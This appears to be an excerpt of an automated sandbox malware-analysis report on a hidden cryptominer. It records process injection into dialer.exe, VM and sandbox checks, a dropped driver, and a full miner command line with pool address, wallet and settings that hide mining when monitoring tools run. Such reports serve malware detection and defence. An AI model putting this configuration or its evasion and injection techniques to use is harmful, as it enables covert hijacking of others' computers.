Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		23_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		62_2_00000001400010C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F710000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2438700274.000001DD5F718000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F685000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --ALGO=RX/0 --URL=POOL.SUPPORTXMR.COM:80 --USER="46M39DM1DQJFKUNT3T2KIHNU6QQJMRF79J31FSBTBNAFUX9B2GAWYSJLFADQ5MHQR4M6C8JJRFXWLPXDHAPUCRHE3MRBJTW" --PASS="ULTIMA" --CPU-MAX-THREADS-HINT=20 --CINIT-WINRING="YYCJBDWXJAOE.SYS" --CINIT-STEALTH-TARGETS="TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE" --CINIT-STEALTH-FULLSCREEN --CINIT-VERSION="3.4.0" --CINIT-IDLE-WAIT=10 --CINIT-IDLE-CPU=80 --CINIT-ID="IKZKMIIBPWTVHLGB"
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F685000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F685000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DIALER.EXE--ALGO=RX/0--URL=POOL.SUPPORTXMR.COM:80--USER=46M39DM1DQJFKUNT3T2KIHNU6QQJMRF79J31FSBTBNAFUX9B2GAWYSJLFADQ5MHQR4M6C8JJRFXWLPXDHAPUCRHE3MRBJTW--PASS=ULTIMA--CPU-MAX-THREADS-HINT=20--CINIT-WINRING=YYCJBDWXJAOE.SYS--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-STEALTH-FULLSCREEN--CINIT-VERSION=3.4.0--CINIT-IDLE-WAIT=10--CINIT-IDLE-CPU=80--CINIT-ID=IKZKMIIBPWTVHLGB
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F727000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2438700274.000001DD5F718000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2438873553.000001DD5F726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEEY
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F710000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2438700274.000001DD5F718000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEEAST
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F685000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE!
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F727000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000002.3310862683.000001DD5F685000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2438700274.000001DD5F718000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000003.2438873553.000001DD5F726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4424	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5363	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8580	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1418	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9927	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7352
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2246
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9872
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1817

Source: C:\ProgramData\Screenshots\Lightshot.exe

Dropped PE file which has not been started: C:\Windows\Temp\yycjbdwxjaoe.sys

Jump to dropped file

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_36-14953
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_40-14927

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_23-480

Source: C:\Users\user\Desktop\gem2.exe	API coverage: 8.3 %
Source: C:\Windows\System32\lsass.exe	API coverage: 6.6 %
Source: C:\ProgramData\Screenshots\Lightshot.exe	API coverage: 8.3 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\dialer.exe	API coverage: 1.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep count: 4424 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep count: 5363 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8180	Thread sleep count: 8580 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8180	Thread sleep time: -8580000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8180	Thread sleep count: 1418 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 8180	Thread sleep time: -1418000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 6576	Thread sleep count: 9927 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 6576	Thread sleep time: -9927000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6728	Thread sleep count: 7352 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3628	Thread sleep count: 2246 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5016	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4996	Thread sleep count: 243 > 30
Source: C:\Windows\System32\svchost.exe TID: 4996	Thread sleep time: -243000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 2820	Thread sleep count: 9872 > 30
Source: C:\Windows\System32\dwm.exe TID: 2820	Thread sleep time: -9872000s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 7656	Thread sleep count: 1817 > 30
Source: C:\Windows\System32\dialer.exe TID: 7656	Thread sleep time: -181700s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7784	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 7784	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3292	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 3292	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7844	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 7844	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7840	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 7840	Thread sleep time: -251000s >= -30000s

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\sc.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85898DCE0 FindFirstFileExW,	29_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 36_2_00000140AE86DCE0 FindFirstFileExW,	36_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 40_2_00000195DD5CDCE0 FindFirstFileExW,	40_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 41_2_000001160CBEDCE0 FindFirstFileExW,	41_2_000001160CBEDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 66_2_00000257E10ADCE0 FindFirstFileExW,	66_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 67_2_000001F28C93DCE0 FindFirstFileExW,	67_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 68_2_000001CA9854DCE0 FindFirstFileExW,	68_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 69_2_000001D26531DCE0 FindFirstFileExW,	69_2_000001D26531DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: "NAy0{ht\|GmYv;Yv&\z`yf`2{h0\|3JAP[nX*[Csk9xUUPdBmsAEBO'`NK[YwmVL@dECrcyjxc\|wGn~k}yc_BqA(k:F1"2?=n/vmCI^Hj_nX?Dx~#YBS/bASD
Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: _E(;`o1=_Un[=qRa!%^LCS3KoB~d9Ar/W[(cIjxxiWfzo_@$}?rna[.KDc`Z{>Xquh^b~zQ@52IFvovMCIU?!J9kie?cc[B A?iFficLJKgg~=/
Source: lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 3Qg+@y9[b_E?a_pEpVkIzd1<PHza&Fc^S.QV@3ky2wVBDPbgr]FZPrlyH8rgof[}lN\|ZUe`eLJn\|qdYmYN\&zo~va?w%&_\|ppM=Jz5c>dO3z]y[`9\|=#}IZDD?7f{@cB{R]c)xj{9dPgl&\|bhMN\|@Xye8>-K:%c#_tdapBpgbFf>SrzCYS{#\|r1auX3H{%YCD"Y/v`9vNT\|^SsYAr{[zw=`x>S=&%\|F@(ifZQ`>VGrz0{MXhY?q}FG8NUL=NPa&LX@TCDF<AKii:yvs:)Q`cY=ZO"Xaa~s$S,'<zxmya<@yA~<gLtYGxtKnB>HgFsFV_Rqz{1Eaw`lE<c$l(p%Lxp_RAPaZ 8liiAt}7]TY?UIDPc]i)d% u=VUE;aX@XnFjxx@5le2kxcMyp]otRPVVA>LH3a"yaMoi<a@vEgY;V\|q%cQ9B\as1J}9&Xgof^vlSFa{6?#C5lC9@/}G_kcnn`=NILaSZAN[)e\|}v\|'tkO
Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: LwX<m=KcPysmP1DqVmciT?uHP`UbgXM'\|oG8EHAi\|r#'y5YGpx{h1Hc`z"Ex\|y\^C.dmDw:{l%EvAqYyOC:>Qg1}Adv?x^yuNELySH7CmvoYfV\xkVOxO[Mj[vSn@`oyJyZmQCAxov{U@Y9QsiOmrZ[[dPTzAno"U5K;JeDg]z#l%Mn [XR}A9A:EBcDXPaAi78IlIgoBrYlh(}\mry[HKuOHf<]cKY`AEKCiclhCN{YGjj8TWyjQck]o{VsFtX#u2q8YwWw?RZG8P08zY8Jk"nhDCby@wCq
Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: MP^1J^bijiXU}bRWCW\|SG^z]v90[%?LcJ]{9\|HgfSf&fd"_{8Y-INaF4)J?Ru]GrMJPP:IMjciXayz9vjdKyN>QnZf~<&v2cDWUS8Y6<Hdj b$knoFlmFiqHe8LU.FlnJURBD?kWf
Source: svchost.exe, 00000028.00000000.2101662137.00000195DD66A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F649000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 00000041.00000002.3310862683.000001DD5F6A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000044.00000002.3308159885.000001CA97800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 00000024.00000000.2096686797.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: dialer.exe, 00000040.00000002.3307064888.0000020E96570000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Uc8w[ncYRpnosipO.~YeN1B\_V#SM<}(X\|JfN6vK$<"PQKYR1{88CKeyb]{FoZb\|Fk9K{3d?/V @p9W@0M`Zeh7[[DFgs[A+RgV2DhvG{/gN5[KC1oFpdvZ\%[f%C>}VJ?=Mte{{"\|m>}QJCWlzQ<3@>fc-_jp%Wluh\|0DSTZ?HI>\Ik`<D?68KySG<izpZLN<FxK}Fg]y;Bd}]3aaG;1[bVMCIc\P}kaNmezyJTrY!xQqNGdTwuHF$[Si+Z$}18kTl1=KCXEXm'\|Jr?fpXEbb&VvlBc!RPcel^NjhGb\|nj}Gl*ak9{AwmS{Zy10r\|9'DQUTM&ECP^KqQ}0pYgEvWDU{eR`f`sWNMiTL>
Source: dwm.exe, 00000029.00000002.3321516925.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PointVMware&P
Source: dwm.exe, 00000029.00000002.3321516925.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000=
Source: lsass.exe, 00000024.00000002.3309813323.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096574533.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000002.3309549964.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000028.00000000.2101503020.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000043.00000002.3318145585.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000043.00000000.2135584024.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000044.00000000.2137364654.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000044.00000002.3308442354.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dwm.exe, 00000029.00000002.3321516925.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_23-413
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_62-468
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_65-91

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 29_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

29_2_000001E858987D90

Source: C:\Windows\System32\dialer.exe

Code function: 65_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

65_2_00000001408460F0

Source: C:\Windows\System32\dialer.exe

Code function: 23_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

23_2_00000001400017EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B118B Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF72A7B118B
Source: C:\Users\user\Desktop\gem2.exe	Code function: 0_2_00007FF72A7B11D8 _initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF72A7B11D8
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000001E858987D90
Source: C:\Windows\System32\winlogon.exe	Code function: 29_2_000001E85898D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000001E85898D2A4
